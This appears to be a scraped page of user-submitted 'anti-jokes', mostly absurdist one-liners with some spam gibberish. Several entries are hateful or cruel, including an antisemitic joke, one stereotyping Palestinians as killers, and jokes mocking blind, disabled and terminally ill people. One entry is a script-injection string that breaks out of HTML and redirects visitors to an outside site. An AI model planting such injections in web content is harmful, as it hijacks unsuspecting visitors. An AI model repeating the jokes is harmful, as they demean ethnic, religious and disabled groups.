There was a blonde driving a car but she was late to a meeting so she started speeding but then a police officer pulls her over. The officer asked the blonde "Do you know how fast you were going?" to which the blonde responded "Yes, I am late to a meeting" so the police gives a ticket for speeding and she ends up going late to her meeting.

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Q:Howd the blind kid find his way home? A:He didnt, he got lost and died of starvation.

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Two muffins are in the oven. They don't say anything because muffins can't talk. The end.

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Why did mallisa get to go to the bar instead of jeremy... jeremy has prostate cancer and he needs to be examined every 2 1/2 minuites plus he's 7 years old.

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what happens on labor day? the day she has a baby... ya your having a kid

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What do u do if a blonde throws a bomb at u Trigger the bomb and throw it back

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what did jacob say to coach a joke

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"'>document.location.href="http://cramik.org"

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2 squirrels with 2 massive boners and 1 little boner.

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What is worse than throwing your baby in the river? Letting Moses out of Egypt

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"Knock knock" Come in!

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Roses are red, Violets are blue, Daffodils are yellow, Flowers come in lots of colours...

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What's the most popular fruit in the U.S.? Bananas What's the most popular vegetable in the U.S.? Stephen Hawking

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shirt and blue, i call this one snow white, to score and seven years a jo, six samurai kageki, coral, 50 piece, specific frame, whats with that one, amy, hoption, smell my butt, smell my balls, smell my fart, smell my poop, urgay, pringles,

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a man walked into a bar today he suffers from depression from his wife leaving him and taking custody of the children on the grounds that he is an alcoholic and is unfit to raise children

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what do you call a Palestinian with a large blade at the throat of an Israeli? a barber

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Did you hear about the dyslexic insomniac that stayed awake all night wondering if there really is a dog?

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What did the little boy with a terminal illness get for Christmas? A gun

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If I was in a room with Osama bin laden and george bush, and my friend. And I had a gun with two bullets, I'd shoot my friend twice.

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Roses are cheap Violets are on sale It's Boxing Day Please buy my flowers I really need the cash.

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What can a pizza do that a Jew can't? Pizzas can't do anything, so the answers are infinite.

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How many gays does it take to change a lightbulb? It's COMPLETELY circumstantial.

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How do you make a tissue dance? You give it dance lessons.

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I love you more than other things that are significantly less important to me than you are

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Anti Joke

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